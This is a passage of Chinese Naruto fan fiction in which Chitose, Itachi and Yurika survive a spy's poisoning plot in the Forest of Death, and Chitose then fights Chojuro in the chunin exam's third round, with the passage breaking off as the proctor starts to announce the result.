千歲看着满满一壶清澈的水,心里悄悄激动了一下,嘴上却依旧警惕,皱着眉盯他:“你……没在里面下毒吧?”
少年瞬间急得脸都红了,连连摆手:“怎、怎么可能!我没有啊!”
“那你喝一口,不准对嘴。”千歲把水壶递过去。
少年乖乖接过,小心地避开壶口,仰头喝了一口,动作老实又乖巧。
千歲确认没问题,紧绷的肩膀才终于放松下来,语气也软了些许,抬头问:“你是谁啊?为什么要帮我?”
“我叫长十郎。”少年腼腆地笑了笑,目光轻轻落在她身上,“我看你一个女孩子独自在外,还以为……你落单了。”
千歲小声哼了一下:“我才没有落单。”
顿了顿,她还是认真地道了声谢:“不过……还是谢谢你。只是在这巨树之森里,我们依旧是敌人。我得走了。”
长十郎张了张嘴,本来想问她叫什么名字,可话还没说出口,千歲已经抱着水壶,一溜烟跑远了,只留下林间一阵轻轻的风声。
长十郎站在原地,望着她消失的方向
“好,好迅速。”
千歲抱着水壶快步回到山洞,一进门便松了口气,轻声对鼬说道:“刚刚在河边碰到了一个有点奇怪的人。”
鼬立刻抬眼看向她,语气里带着不易察觉的担忧:“前辈,你没有受伤吧?”
“我没事啦。”千歲摇了摇头,嘴角微微放松,“他反而还帮我打了水,看起来……不像是有坏心眼的样子。”
鼬的目光轻轻落在她手中的水壶上,依旧谨慎:“这水……”
“放心,我让他当场喝过了,没有对嘴,也没有下毒。”千歲连忙解释。
可鼬还是放心不下,伸手接过水壶,自己轻轻抿了一口确认安全,才重新递回给她。
千歲小心地扶着由里香的肩膀,让她靠得更舒服一些,再缓缓将水喂到她唇边,动作轻柔又细心。
等由里香精神稍稍恢复,三人便挨在一起,低声商议起接下来的行动。
如今时间已经过去两天,仅剩最后三天,局势愈发紧迫。根据一路的观察与判断,这片区域应当已无其他小队滞留,大部分竞争者想必都已推进到试炼的最后阶段。
“现在距离考试
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开始,已经过去两天了。”鼬先开口,冷静地梳理着时间,“我们因为受伤停留太久,剩下的时间只有三天,必须抓紧。”
由里香轻轻点头,指尖轻轻按着还在隐隐作痛的伤口,低声补充:“其他小队应该比我们快,已经往最终区域去了。”
千歲回想这一路的状况,也跟着开口:“没错,巨树之森这么大,越到后面,队伍越会集中在终点附近。我们现在再漫无目的地找卷轴,只会浪费时间。”
三人对视一眼,思路渐渐重合。
鼬继续沉稳地分析:“最后的高塔区域,一定会有大量小队聚集,有人守塔,有人冲刺,是卷轴最集中的地方。”
“可是我们现在状态不好。”由里香微微皱眉,“我受伤行动不便,硬拼肯定不行。”
“所以不能正面冲突。”千歲立刻接话,眼睛微微一亮,“我们可以绕到侧面,找一个隐蔽又视野好的位置埋伏起来,等其他小队互相消耗之后,再伺机出手。”
鼬赞同地点头,将计划一点点补全:“由里香伤势未愈,负责在后方隐蔽处观察、警戒四周,避免被第三方偷袭。”
“我可以负责正面牵制。”千歲主动接下前侧的位置,“目前受伤最轻的就是我了。我适合突袭抢夺卷轴,得手后立刻回撤。”
“我来掩护。”鼬平静地接上最后一环,“我在侧翼策应,一旦出现意外,立刻支援你们撤退,保证由里香的安全。”
分工明确,节奏稳妥,每一个人都被考虑在内,每一步都互相照应。
最终,三人一同定下了最终方案:立刻动身赶路,全速前往高塔区域;抵达后隐藏行踪,以埋伏为主,静观其变;等到最佳时机,三人配合抢夺卷轴,绝不恋战。
由里香静静地看着千歲与鼬一唱一和、冷静商议计划的样子,眼神一点点柔和下来,原本紧蹙的眉间也缓缓舒展开。
她忍不住微微回想,明明还记得,水之国任务时,那个少女带着着一身沉甸甸的戒备,那时的她,遇事冲动,偷偷躲在角落抹眼泪,仿佛随时会被任务的重压压垮。
眼前的千歲,依旧是那个少女,却又仿佛全然换了一个人,她在险象环生的蟑螂精面前,奋不顾身地挡在自己身前,拼尽全力救下了命。毫不犹豫地动用了自己曾经教给她的医疗忍术,耐着性子一遍遍处理溃烂发炎的伤口。
这一路,她没喊过一句累,也没在人前掉过一滴泪。哪怕面对未知的危险,她也能先冷静下来,理清思路,再稳稳地迈出每一步。
真好啊。
她是真的,真的成长了。
60.第60章 能相信的,只有自己的伙伴
经过一整天的疾驰赶路,三人终于抵达了巨塔所在的区域,远处那座高耸的塔影在林间缝隙中清晰可见。他们迅速选定一棵枝繁叶茂、隐蔽性极佳的巨树,各自跃至不同粗壮枝干上隐匿身形,屏息静气,准备在此守株待兔,静待目标出现。
林间一片死寂,唯有风吹树叶的轻响。就在这时,不远处突然传来急促的喘息与兵刃破空之声,打破了森林的宁静。
只见一名云隐护额的少女,正被两名沙隐忍者前后夹击,狼狈不堪。她身上已有多处擦伤,查克拉明显透支,躲闪之间破绽百出,眼看对方两把苦无直刺要害,少女已无力闪避,生死一线。
枝干上的千歲看到这一场景,不顾由里香的阻挡,再也按捺不住,瞬息间便挡在少女身前。几乎没有多余动作,她干脆利落地出手,用小太刀的刀背重击两名忍者的后颈部位置,两声闷响过后,两名沙隐忍者便应声倒地,失去了声音。
千歲收回目光,看向瘫坐在地上的少女,关心地问道:“你没事吧?”
少女紧绷的神经骤然松懈,眼泪瞬间夺眶而出,哽咽着开口:“他们……他们杀了我的同伴……我是带着卷轴,一个人逃出来的……”
听着少女无助的哭声,千歲心底恻隐微动,放缓了语气轻声安慰,随即问道:“你叫什么名字?”
“小奈……我叫小奈。”少女抽噎着回答。
一旁的由里香早已从树上跃下,眼神锐利地扫视着小奈与四周,语气冷静而疏离,低声对千歲道:“别多管闲事。巨树之森的规则你很清楚,除了队友,所有人都是敌人。”
鼬则依旧站在原处,沉默地垂着眼帘,没有说话,只是平静地观察着小奈的神情、地上的尸体,以及她怀中紧攥的卷轴,似在判断,又似在权衡。
小奈见状,慌忙抹掉眼泪,抬起满是泪痕的脸,声音带着绝望与恳求:“我知道你们不会相信我……我已经没有同伴了,根本不可能通过考试……我把卷轴交给你们,我什么都不要,只求你们带我离开这片森林,给我一条活路。”
由里香上前一步,接过小奈递来的卷轴展开查看,瞳孔微不可察地一动——这卷轴的纹路与制式,恰好与自己手中的那枚完全契合。是天之卷!正好是他们需要的卷轴。
她抬眼与千歲对视一眼,又望向始终沉默的鼬。三人短暂的眼神交汇后,彼此心中已有了决断。
千歲走上前把小奈拉起:“你跟着我们吧,我们一定把你安全带出森林。”
小奈哭着说:“谢谢你!谢谢你们!”
此时天色已黑,虽然早点赶去塔中对他们来说可能是万全之策,可是小奈伤势严重,根本无法赶路。
四人打算等小奈恢复一晚第二天再做打算。
夜色渐深,巨树之森的雾气愈发浓重。四人在巨塔西侧的隐蔽岩穴中暂作休整,千歲与由里香靠着岩壁闭目恢复查克拉,唯有鼬始终保持着浅眠状态,看似闭目养神,实则周身感知从未有半分松懈。
小奈蜷缩在角落,眼底藏着一丝不易察觉的阴翳。她趁着三人气息平稳、戒备稍缓的间隙,悄悄从怀中摸出一小瓶无色无味的催眠毒粉,指尖微动,正要借着添柴的动作,将毒粉撒入三人面前的水壶之中。
就在她指尖即将触碰到壶口的刹那——
一道冰冷到极致的声音,在黑暗中缓缓响起。
“别动。”
小奈浑身一僵,指尖的毒粉险些抖落。她强装惊慌地回头,眼眶一红,怯生生道:“怎、怎么了……”
鼬缓缓睁开双眼,里没有半分温度,那双在暗处微微泛起的写轮眼,早已将她所有细微动作尽收眼底。他没有多余的情绪,语气平静得近乎残酷,直接戳破伪装。
“你根本不是云隐村的忍者。”
此言一出,千歲与由里香瞬间惊醒,查克拉一提,瞬间进入战斗状态。
小奈脸色骤白,强装委屈地摇头:“你在说什么啊……我明明是云隐的,我的同伴都被沙隐的人杀了——”
“从一开始,你的破绽就太多了。”鼬站起身,缓步朝她走近,压迫感无声蔓延,“云隐忍者的步态、握刃习惯、查克拉波动,你全都没有。你躲避攻击时的身法、呼吸节奏,甚至情急之下结印的手势,都是风之国沙隐村的基础套路。”
他顿了顿,目光落在她耳后一处极浅的、被刻意遮挡的风之国纹路上,声音冷澈:
“还有,你身上残留的沙砾气息,与之前被千歲解决的那两名沙隐忍者,完全一致。你们根本就是一伙的。那场围攻,从一开始就是你自导自演的戏。”
小奈脸上的脆弱与恐惧彻底崩裂,取而代之的是狰狞与狠厉。她猛地后退一步,手中毒粉径直朝三人甩去,同时厉声喝道:“既然被发现了,那就一起死在这里!”
由里香早有防备,瞬间结印掀起风遁,将毒粉全数吹散。
鼬站在原地,写轮眼轻转,淡淡道:
“你的任务,是骗取信任,再在深夜下毒,夺走我们的卷轴。可惜,你演得太差。”
谎言被彻底戳穿,伪装碎裂一地,小奈眼中只剩下绝望与疯狂。
宇智波鼬沉默上前一步,指尖已凝起冰冷的查克拉,眼神没有半分波澜,显然是打算就地解决掉这个屡次欺诈、暗藏杀机的沙隐奸细。
“等等。”
千歲快步上前,伸手拦在了鼬的身前,眉头轻蹙,语气带着一丝不忍:“她也是被逼无奈,才出此下策,没有必要赶尽杀绝,留她一条活路吧。”
鼬抬眸看向千歲,眼神冷静,却并未立刻反驳。
可两人都低估了小奈的狠厉与隐藏的实力。
就在这一瞬,小奈眼中的怯懦彻底消散,嘴角勾起一抹阴冷的弧度,周身查克拉骤然暴涨,远胜于先前伪装出的虚弱模样。
“既然被你们看穿了,那就别怪我不客气——今天,你们三个都别想活着离开!”
话音未落,她猛地结印,风遁忍术与苦无同时袭向三人,攻势迅猛狠辣,全然不留余地。
千歲仓促格挡,心中却被欺骗的酸涩与愤怒搅得翻涌。她明明选择了相信,明明生出了恻隐之心,可对方从始至终都在利用她的善良。即便如此,她招式间依旧带着犹豫,始终无法真正痛下杀手。
鼬见状不再留手,写轮眼微微转动,身形一闪便出现在小奈身后,查克拉凝聚,准备给予最后一击。
就在致命一击即将落下的刹那,小奈突然崩溃般嘶吼出声,语气里带着绝望的哀求:
“别杀我!我从小就没有父母!我这么做,全是被同伴逼迫的!沙隐的规矩是,只有成为中忍,我才有资格回到出村进行任务,不然我完全没有机会回到自己的故乡!我不在乎他们怎么对我,我只想赢,只想再看一眼父母的墓地,哪怕一眼就够了!”
千歲瞬间僵在原地,眼底翻涌着共情与痛楚,眼前这个人的挣扎、无助、为了亲人不顾一切的模样,实在无法让她痛下杀手。
千歲猛地再次拦住鼬,声音微微发颤,却异常坚定:“住手。”
她转头看向瘫倒在地的小奈,眼神复杂,有失望,有痛心,也有一丝难以割舍的共情:“我本来……是真的信任你。我在你身上,看见了曾经那个面对敌
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人、只能无助哭泣、痛恨自己弱小的我。所以刚刚你被追杀的时候,我才会救你…我以为我们是一样的,可你从头到尾都在骗我。”
说完,千歲深吸一口气,转向鼬和由里香:“我们走吧,留她一个人在这里。”
鼬眉头微蹙,显然依旧不赞同放过这样一个隐患,沉默地僵持了片刻,最终还是缓缓收回了查克拉,松了手。
三人转身,准备就此离开。
可谁也没有想到,小奈心底的执念早已扭曲成疯狂。她趴在地上,眼中闪过最后一抹狠戾,趁众人不备,迅速摸出一枚暗藏的千本,用尽全身力气,朝着千歲的后背狠狠掷出!
“前辈!”
千钧一发之际,鼬毫不犹豫地侧身挡在千岁身前。
千本狠狠刺入鼬的小腿,鲜血瞬间渗出。剧烈的刺痛让他身形一晃,一时无法站稳。
隐忍到极限的由里香终于不再克制,眼神冷冽如刀,瞬间闪身至小奈面前,没有半分犹豫,干脆利落地出手。
一声闷响过后,小奈彻底没了气息。
“鼬!”
千歲几乎是本能地冲上前,蹲下身紧紧按住鼬小腿上的伤口,指尖触到温热的鲜血时,慌乱与自责瞬间涌上心头。
由里香迅速扫视四周,神色凝重,语气带着不容置疑的果断:“此地不宜久留,必须立刻转移。之前被解决的那两个沙隐忍者,极有可能留有同伴或信号,此刻说不定正朝这边赶来。”
鼬小腿伤口不浅,鲜血不断渗出,每动一下都牵扯着剧痛,已然无法正常行走。而由里香本就带着旧伤,体力也已濒临极限。
千歲眼神骤然一沉,
“鼬,抓住我。”
不再有半分犹豫,她稳稳蹲下身,双臂穿过鼬的腿弯与后背,轻轻一用力便将他稳稳背起。肩头的重量清晰可感,她却咬了咬牙,
声音坚定:“由里香,我们走,前往高塔!”
三人不再耽搁,借着密林的掩护全速疾驰,朝着远处那座隐约可见的巨塔方向突进。
风声在耳边呼啸,千歲背着鼬,步伐却依旧稳当。她微微偏过头,声音里满是担忧:“鼬,你的腿……”
鼬趴在她的背上,气息平稳,语气清淡却带着几分克制的体贴:“没事……前辈小心脚下,不必顾着我。”
沉默在林间蔓延了片刻,由里香看着前方千歲略显单薄却异常倔强的背影,终究还是缓缓开口,
“我知道你心地善良,也知道你并非软弱……可在忍者的世界里,善良从来都不是护身符,反而很容易成为别人利用你的弱点。”
千歲自责的低下了头,由里香说的没错。
“你的同情心,若是不加收敛,终有一天不仅会害了你自己,更会拖累身边信任你、与你并肩的同伴。”
她顿了顿,目光掠过地上尚未干涸的血迹,声音更沉了几分:“这片森林没有温情,只有生存与背叛。
信任给错了人,就是致命的破绽。就算你本性善良,对恶人留情,就是对自己、对同伴的残忍。这是忍者活下去的规矩,谁都不能例外。”
千歲的脚步微微一顿,愧疚与酸涩交织在一起,声音低哑:“……对不起,我……”
“我不是在怪你。”由里香轻声打断她,语气缓和了些许,却依旧坚定,“我只是不想再看到因为一时心软,而让我们所有人陷入险境。
在这个世界里,能毫无保留相信的,只有身边的同伴。”
千歲紧紧抿住嘴唇,没有再说话,只是背着鼬的双臂更用力了些,朝着巨塔的方向,一步一步,坚定地奔去。
61.第61章 千歲vs长十郎
三人穿过巨塔幽暗的长廊,终于抵达塔内最深处的卷轴递交处。千歲小心翼翼地将鼬放下,靠在冰凉的石台上,随后与由里香一同取出怀中的天之卷轴与地之卷轴。两张卷轴相互契合,递交给主考官后,待主考官检查完毕:“恭喜你们通过第二场考试”
紧绷了数日的神经终于稍稍松弛。
由里香便立刻蹲下身,专注地查看鼬小腿上的千本伤口。自水之国一战后,她的细胞再生之术精进了不少,查克拉运转更为稳定温和,淡绿色的治愈光芒轻轻包裹住伤口,止血、修复、再生一气呵成。鼬的伤口本不算深,在纯熟的忍术治疗下,痛感迅速消退,愈合速度远超预期。
“暂时不会影响行动了,休息片刻便能恢复。”由里香收回手,语气平静地说道。
千歲轻轻松出一口气,目光缓缓扫过空旷的大厅。经历了巨树之森数日的残酷厮杀、背叛与生死博弈,最终能站在这里的忍者寥寥无几,石椅与通道间只散落着稀稀拉拉的身影,每个人脸上都带着疲惫与侥幸。
就在这时,千岁的视线忽然一顿。
不远处的入口处,一道略显熟悉的身影正缓步走入,清爽的蓝色短发、利落的寸头轮廓,是长十郎。
他似乎也与自己的同伴刚刚抵达塔内,正微微喘着气,显然同样经历了一番苦战。
看来,他也成功在这场惨烈的试炼中活了下来。
千岁的目光刚落在那道熟悉的蓝色短发身影上,眼底便轻轻漾开一丝讶异。长十郎几乎同一时间察觉到她的视线,却像是受惊一般,飞快地把目光挪到了别处。
千歲忍不住在心底默默吐槽:我就这么可怕吗?
可转念一想,之前在河边,还是他给自己打来清水,如今两人又一同闯过了生死攸关的第二场考试,实在没必要再保持着敌对的距离。想着,她便迈开步子,主动朝他走了过去。
“没想到你也通过考试啦!”
千歲的声音清脆又明亮,一下子吸引了长十郎身旁两位同伴的目光。两人对视一眼,满脸狐疑——居然会有女孩子主动过来和这位沉默寡言又容易紧张的少年搭话?
长十郎猛地一僵,说话都变得磕磕绊绊:“对…对,我也通过了…你…你也挺不容易的吧。”
千歲这才仔细打量起他,视线在他脸上停了停:咦,他脸上还戴着一副眼镜,是近视镜吗?还是水之国特制的潜水镜?再看看他微微露出的、像小鲨鱼一样整齐锋利的牙齿,她脑子里莫名蹦出一个奇怪的念头:该不会是鲨鱼变的吧?
见她一直盯着自己看,长十郎越发局促不安,小声问道:“你…为什么一直盯着我?”
千歲回过神,非常认真地抛出一个问题:“你会潜水吗?”
长十郎的两位队友当场愣住,满头问号。
长十郎自己也懵了,挠了挠头,认真思考后老老实实地回答:“我…我用水遁的时候,站在水里…算不算潜水??”
千歲居然真的托着下巴,一本正经地思索起来:“也不是不算吧…”
一旁的两位队友默默扶额,终于恍然大悟:原来这俩人能聊到一块儿,是因为脑回路一模一样啊!
就在这时,一只手突然伸过来,一把将千歲拉了回去。由里香无奈又带着点严肃地压低声音:“你干嘛啦?中忍考试最终结束之前,他们都是敌人,别随便放松警惕啊。”
由里香说得没错,就在众人稍稍松气的片刻,最后一组合格者也踉跄着踏入了高塔。随着大门缓缓闭合,第二场中忍考试正式宣告结束。
空旷的大厅里人影稀疏,历经巨树之森的厮杀与背叛,能站到最后的人寥寥无几,每个人脸上都写满了疲惫,却又难掩劫后余生的庆幸。
就在这时,高台之上忽然传来一阵沉稳的脚步声。
三代目火影·猿飞日斩缓缓现身,身后跟着各村的带队上忍,不知火玄间也手持苦无,安静地立在一侧。
猿飞日斩目光扫过全场,声音沉稳而有力,正式宣布:“在场诸位,第二场考试,全部合格。”
话音刚落,人群中刚泛起一丝微弱的喜悦,老人紧接着的一句话,却让所有人的心瞬间提到了嗓子眼。
“现在——立刻进入第三场考试。忍者对战。”
一句话落下,全场死寂。
连日奔波、伤痕未愈、查克拉几乎耗尽,此刻立刻投入生死对战,无疑是对意志与体力最残酷的压榨。
千歲忍不住小声嘀咕:“我还以为至少能休息一天……没想到来得这么快。”
身旁的鼬与由里香神色同时一紧,指尖微微绷紧。对战顺序一旦公布,便是真正的狭路相逢,他们必须立刻做好万全准备。
“接下来,随机抽取对战名单。”
高台一侧的屏幕开始飞速滚动,一串串名字在光影中闪烁。所有人都屏住呼吸,目不转睛地盯着屏幕,连呼吸都变得小心翼翼。
终于,画面骤停。
首先出现的名字清晰醒目——雾隐·长十郎。
而他的对手一栏缓缓显现——
木叶·宇智波千歲。
一瞬间,全场目光齐刷刷投向两人。
千歲整个人一僵,猛地转头看向不远处的长十郎。
而长十郎也恰好抬头,四目相对的刹那,少年又开始紧张起来。
刚刚还在聊“会不会潜水”的两个人,下一秒,就要站上生死对决的决斗场。
其余人都被遣散到了决斗场的两边观众台,四周坐满了监考的上忍与寥寥无几的幸存考生。
千歲握紧腰间从别的考生那里夺来的的小太刀。她身上还带着巨树之森留下的疲惫,查克拉并未完全恢复,再加上刚才为了一路上背着鼬赶路,体力本就处于低谷。站在她对面的长十郎,却已握紧了腰间那柄造型奇特的双刀——平目鲽。
他不再是刚才那个说话结巴的少年,眼神沉静、气息稳定,周身缠绕着冰冷的水雾。
“她完蛋了,一上来就抽到长十郎。”
长十郎的一位队友说。
旁边的由里香听闻,随即反驳回去:
“你在小瞧谁呢?”
“这可是咱们雾隐最后一届参加什么中忍考试…长十郎可不会心软…”
鼬听到,闪过一丝疑惑。雾隐最后一届,这是什么意思,往后的中忍考试,雾隐不再参加了吗。
由里香继续反驳他们:“那可不一定,千歲可是很强的,咱们走着瞧。”
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决斗场
“请多指教。”长十郎低声道。
“请多指教。”千歲回应。
话音落下的瞬间,裁判高举的手猛然落下。
“开始!”
裁判话音刚落,长十郎身形一闪,直接进入战斗状态。双刀平目鲽在他手中划出两道冷冽的银光,水流瞬间缠绕刀刃,化作锋利的水刃。
他直奔主题,没有一丝的犹豫。
“平目鲽·葬刃!”
两道如水如刀的斩击破空而来,速度快到只剩残影。千歲瞳孔一缩,立刻将小太刀横在身前格挡。
“铛——!!”
巨大的冲击力震得她手臂也发抖,怪力虽能硬抗,可对方的水刃却带着极强的切割力,顺着刀刃蔓延而来。千歲被迫后退数步,鞋底在石地上擦出深深的痕迹。
她没想到,看似温和木纳的长十郎,一出手便是杀招。
“好快……”千歲心头一紧,她根本没办法看清楚眼前出刀的速度。
如今,只能用那个了。
千歲抬头,瞳孔中的一勾玉已经开始观察对方。
“传说中宇智波一族的写轮眼,有这样的对手不枉我来一趟木叶。”
长十郎没有停顿,双刀在空中一合——平目鲽形态变更,双刀瞬间合并为一柄厚重的单刀,威力暴涨。
“血雾刀法·身切!”
刀身裹挟着浓雾般的水汽,一刀横斩,几乎覆盖千岁全身所有闪避空间。
就算能够看穿,可是…
压根没有地方能躲!
千岁咬牙,猛地催动全身查克拉,怪力爆发,狠狠一脚跺在地面。
“嘭——!”
石屑飞溅,地面裂开一道沟壑,她借着反作用力勉强侧身躲开,可刀锋依旧擦过她的手臂,留下一道深可见骨的伤口。
鲜血瞬间渗出。
观战台上,由里香眉头紧锁,鼬的写轮眼微微转动,全程紧盯战场。
如今局势完全被动,一直被动防御必然会处于下风。
可是长十郎的攻击都是远程,而自己的拳头,以及剑术,都是近战。自身的劣势完全暴露了。
无法近身的话,根本就没有胜算。
被逼到绝境,千岁只能咬牙使出自己最不擅长的术。
她双手飞快结印,胸口查克拉涌动。
“火遁·凤仙火之术!”
数颗火球从她口中喷射而出,在空中散开,如同流星般砸向长十郎。这是她为数不多能发动的火遁,可她本身并不擅长火系忍术,威力本就有限。
长十郎只是平静地举起合并后的平目鲽。
“平目鲽·解放!”
刀身猛地注入大量水属性查克拉,一道巨型水刃轰然爆发,迎面撞上凤仙火。
“滋——!!”
火焰在压倒性的水流面前瞬间熄灭,连一丝烟雾都没留下。水流余势不减,狠狠撞在千岁身上,将她整个人轰飞出去,重重砸在决斗场的石壁上。
“咳……”千岁咳出一口血。
她终于明白——属性克制、体力差距、刀法差距、忍术差距,她全方面处于下风。
这一战,比她想象中难上百倍。
62.第62章 弱点!我要看清!
不能一昧的防御。
必须改变局势的变化,可是…
长十郎又一次瞬身突进,双刀斩裂空气。
“平目鲽·葬刃!”
他的速度实在是太快了。
水流化作利刃,直劈而来。
千歲脚下猛地爆发查克拉,身形骤然侧闪,同时右手小太刀出鞘,反手横斩,刀刃与水刃狠狠相撞。
“铛——!”
她借着碰撞的反作用力,左脚瞬间踏地,怪力爆发,整个人再次突进,试图贴脸压制长十郎的刀法距离。
长十郎早有预判,双刀瞬间合一,形态变更为单刀。横扫一刀,水雾弥漫。千歲瞳孔一缩,左手瞬间摸出三枚苦无,甩手直射长十郎手腕、咽喉、膝盖,逼他收刀防御。
长十郎挥刀击飞苦无,可就在这一瞬空隙,千歲已经冲到近前,怪力拳头直轰他胸口!
嘭——!
长十郎被一拳震退,却依旧稳如泰山,水流在他身前形成薄盾,抵消了大半威力。
“好强的防御……”千岁心底一沉,但动作丝毫不停,小太刀连续刺出数刀。可长十郎的平目鲽防守滴水不漏,每一次格挡都带着水流加持,震得她手臂阵阵发酸。
“不行…对方的攻击距离太长,完全没有办法近身。”鼬在观赛台分析。
“除非用忍术,否则…”由里香开始担心。
不等千岁调整姿势,长十郎突然单刀插入地面,查克拉狂涌。
“平目鲽·解放!”
巨型水刃轰然爆发,横扫全场。千歲瞬间将数枚千本射向水刃侧面,试图扰乱水流,同时小太刀插地,全身怪力灌注双腿,猛地向上一跃,腾空躲避。
可水刃范围大得恐怖,依旧擦中她的腰侧,又划出一道深口。
鲜血溅落石台。
千歲落地翻滚,立刻稳住身形,没有半分停顿,再次冲上前。
小太刀劈、斩、刺、挑,招招致命,怪力时不时爆发在拳脚之上,苦无与千本交替投掷,干扰、牵制、突袭,她把所有能用的手段全部用出了。
可长十郎的实力,是压倒性的强。
无论她怎么逼近,都被平目鲽与水遁轻易化解。长十郎的刀法稳、准、狠,水遁连绵不绝,每一次反击都让千歲消耗不少的体力。
根本赢不了。
千歲艰难地撑着膝盖,勉强直起身,视线微微发颤地望向对面的长十郎。
少年依旧站在原地,气息平稳,周身缠绕的水雾淡而不散,看上去游刃有余,仿佛刚才那场狂风骤雨般的攻势,对他而言不过是热身而已。
反观自己——从战斗开始到现在,她只能拼了命地躲闪、腾挪、狼狈逃窜,四肢酸痛,伤口不断渗血,呼吸几乎崩断。可长十郎却连一步都没有挪动过,浑身上下连一道浅浅的擦伤都没有。
差距大到令人绝望。
千歲心底的涩意一点点翻涌上来。
一直以来,她赖以生存的只有一身从纲手那里习得的怪力。新近才开始入门的太刀剑术,在绝对实力压制面前,更是脆弱得不堪一击。
直到此刻她才真正明白,在属性克制、技法成熟的对手面前,多系忍术的精通、战术的预判、冷静的分析,究竟有多重要。
由里香不仅擅长火遁,还能自如操控风遁与土遁,攻防一体,应变极强。鼬更是精通手里剑、体术与各类忍术,观察力敏锐到恐怖,任何战术都能在瞬间看破、拆解。
而自己……却只有一身蛮力。
面对眼前这种绝境,脑子一片空白,连半点应对之策都想不出来。
千歲第一次受感到如此剧烈的劣等感。
到底……要怎么做,才能打败眼前这个对手。
不等她多想,长十郎的下一波攻势已然降临。水刃破空而来,速度快到极致。千岁只能依靠写轮眼的动态视力,勉强捕捉轨迹,险之又险地侧身躲开。
风声擦过耳畔,危险近在咫尺。
不行……这样下去只会被慢慢耗死。
她要住下唇,尽量让自己保持清醒。
不,一定有弱点。
再完美的忍术,再无解的刀法,都一定存在破绽。
不可能没有。
千歲瞳孔中一道勾玉缓缓转动。
她强迫自己冷静下来,用写轮眼重新回溯刚才的每一个画面、每一次攻击、每一次结印、每一次水流的流动。
一定有什么东西……是从刚才开始,被她彻底漏掉的。
一定有。
巨浪般的压迫感再次笼罩全场,长十郎持刀而立,水雾在他周身轻轻流转,依旧是那副从容不迫的姿态。
那副奇怪的刀,一下子变成双刀形态…一下子又合并成单刀。
从战斗开始到现在,长十郎每一次发动水遁、每一次挥刀、每一次形态变更……她全都看在眼里。
写轮眼回溯着刚才的所有细节。
等等……
平目鲽双刀合并时,需要0.5秒的停顿。
回想起来,貌似每次攻击都是如此。
水遁凝聚时,他的左手食指会微微一颤;
最关键的是——
他所有大范围水遁,都必须依靠平目鲽作为媒介释放。
千歲开始陷入沉思。
刀在,水遁强;刀离,水遁弱。
而他为了控制水流精准度,从刚刚战斗开始时,双脚从始至终都没有离开过原地半步,以站立定点,维持水遁平衡。
如果自己猜的没有错的话…
他的弱点,根本不是忍术。
而是武器依赖,以及为了精准而放弃机动性的定点站姿。
千歲的眼底,终于重新燃起一丝光亮。但她没有立刻冲上去。她太清楚了——对方实力碾压,即便看破弱点,也绝不可能轻易得手。
长十郎再次抬刀:“平目鲽·解放!”
巨型水刃呼啸而来。
千歲不再盲目躲避,而是借着写轮眼的预判,踩着刁钻的角度迂回突进,同时右手甩出三枚苦无,左手射出两枚千本,全是朝着长十郎持刀的右手手腕而去。
“铛铛铛!”
长十郎挥刀轻松击落,可这正是千歲的目的。
她趁机冲到近前,小太刀直刺对方手腕!
“就是现在!”
可长十郎反应快得可怕,双刀瞬间合一,横刀格挡。
铛——!!
怪力与忍刀相撞,气流炸开。
千歲又被震得倒飞出去。
弱点明明看破了,可力量、速度、反应全都不如人,依旧碰不到对方分毫。
“可恶……”
难道看破了弱点,也依旧赢不了吗?
就在她恍惚的瞬间,长十郎的攻击再次降临。
“血雾刀法·身切!”
刀锋逼近的刹那,千岁猛地翻身滚开,碎石被斩得飞溅。
她看着自己颤抖的双手,突然想起纲手的话。
怪力不是用来硬碰硬,是用来在“一瞬间”决定胜负。
她闭上眼,深吸一口气。
她有了一个赌命的战术。
一切只能堵在那一瞬间。
千歲突然起身,故意露出巨大的破绽,朝着长十郎正面冲去。
“火遁·凤仙
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火之术!”
火焰散乱,一看就是虚招。
长十郎果然抬手:“平目鲽·解放!”
水刃轰出的瞬间,千歲突然猛地踏碎地面,怪力全部灌进双腿,身形骤然压低,贴着地面滑铲而去!
这是赌上一切的突进!
长十郎立刻收刀防御,双刀正要合并,就是这0.5秒的空隙!
千歲猛地跃起,小太刀不是刺向人,而是狠狠砸向平目鲽的刀身衔接处!
那是双刀合一的最脆弱位置。
“砰——!”
一声闷响,长十郎只觉得手臂一阵剧烈发麻,合并的平目鲽竟然被震得瞬间弹开,重新变回双刀形态!
水遁,断了。
“什么……”长十郎瞳孔一缩。
千歲抓住这转瞬即逝的机会,没有追击,而是一脚狠狠踢在长十郎的左脚脚踝!
他全程定点站立,脚踝早已僵硬。
“唔!”
长十郎身形一晃,终于被迫移动了脚步。
平衡一破,水遁溃散。
千歲拼尽最后一丝力气,小太刀反手架在他的颈侧,同时怪力拳头抵住他的胸口。
她的呼吸几乎断裂,声音发颤却异常坚定:
“我不会打下去……但你,已经输了。”
就在这时,长十郎缓缓抬起头,双手猛然合十。
天地间的水汽瞬间疯狂汇聚,整个决斗场的空气沉重得让人窒息。
千歲瞳孔骤缩——这个术,她永生难忘。
当初与浅野光对决时,她曾在这招下险些丧命,可眼前长十郎施展的,威力远比浅野光强上数十倍!
“水遁——大瀑布之术!”
滔天巨浪自长十郎身前冲天而起,瞬间吞噬了整个决斗场!冰冷的水流裹挟着毁灭性的力量,将千歲彻底吞没。她被巨浪狠狠拍打、碾压、翻滚,全身每一处都在剧痛,小太刀被冲走,查克拉几乎耗尽,意识在水中不断模糊。
长十郎站在水中毫无动摇,这家伙,果然会潜水吗…
“不能……输……”
她死死咬住牙关,将最后一丝残存的查克拉全部涌入右臂,在瀑布中心猛地挥出一拳,轰隆一声,水流被硬生生炸开一道微小缺口。可下一秒,巨浪再次合拢,将她狠狠拍向石台。
就在所有人都以为胜负已分、千歲即将失去意识的刹那——
长十郎看着水中遍体鳞伤、却依旧死死撑着不肯倒下的少女,脑海中突然闪过河边为她打水、塔内她问自己“会不会潜水”的模样。那是唯一一个肯主动和他搭话的人。
一瞬的犹豫。
他的水遁,微微弱了一分。
就是这微不可察的空隙,千歲抓住了最后生机。她在水中猛地睁开写轮眼,借着水流冲力,不顾一切地朝着长十郎扑去!她没有忍术,没有刀法,只剩从纲手那里习得的、刻入骨髓的怪力!
长十郎惊觉不对,急忙持刀格挡,已经晚了。
千歲全身撞向他持刀的手臂,怪力一拳狠狠砸在平目鲽的刀身之上!
“铛——!!”
长十郎和平目鲽一起,直接被这一拳给打飞,平目鲽早已飞到远处,长十郎与平目鲽人刀分离。
此时,忍术戛然而止,水流瀑布一瞬间消失。
千歲哪能放过这最后的机会,趁势向前,带着一身水渍与鲜血,一把将长十郎按倒在地,右拳悬在他心口,只要落下,便是重伤。
全场死寂。
主考官愣了一瞬,随即高声宣布:
